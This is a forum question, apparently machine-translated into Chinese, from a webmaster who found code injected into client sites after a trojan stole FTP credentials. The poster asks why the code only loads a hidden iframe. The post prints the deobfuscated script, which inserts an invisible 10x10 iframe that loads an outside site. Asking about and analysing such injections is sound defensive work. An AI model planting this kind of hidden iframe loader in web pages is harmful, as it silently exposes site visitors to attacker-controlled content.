注入惡意JavaScript代碼 - 但不採取任何惡意行爲？

我最近在我的一些客戶網站上發現了一些惡意代碼。這些片段基於PHP和基於JS的注入，因爲特洛伊病毒記錄了一些ftp憑證。但是，代碼混淆了和我eval'd它（安全），它看起來像這樣：注入惡意JavaScript代碼 - 但不採取任何惡意行爲？

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://www.bahnmotive.de/index.htm' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src','http://www.bahnmotive.de/index.htm'); 
    f.style.visibility='hidden'; 
    f.style.position='absolute'; 
    f.style.left='0'; 
    f.style.top='0'; 
    f.setAttribute('width','10'); 
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
}

正如你所看到的，URL bahnmotive.de包括在頁面中的iframe無形。本網站不包含任何有害數據（至少現在不再），所以我問自己（和你）：爲什麼有人要鏈接到一個隱形iframe的網站，而不是做一些其他的惡事？我的第一個猜測是，有一個SEO代理商承諾在他們的客戶網站bahnmotive.de上有很多流量，並且由於這種木馬病毒而實現了這一點。這可能嗎？我在Google做了一項研究，但沒有發現任何關於這方面的信息，所以我想問一些專家在這裏。也許你可以把我指向另一個論壇，討論這個話題。

來源

2012-03-12 Robert

看起來像你不是唯一一個：https://www.google.com/search?hl=en&q=%22http%3A%2F%2Fwww.bahnmotive.de%2Findex.htm%22 – Carpetsmoker 2012-03-12 09:08:40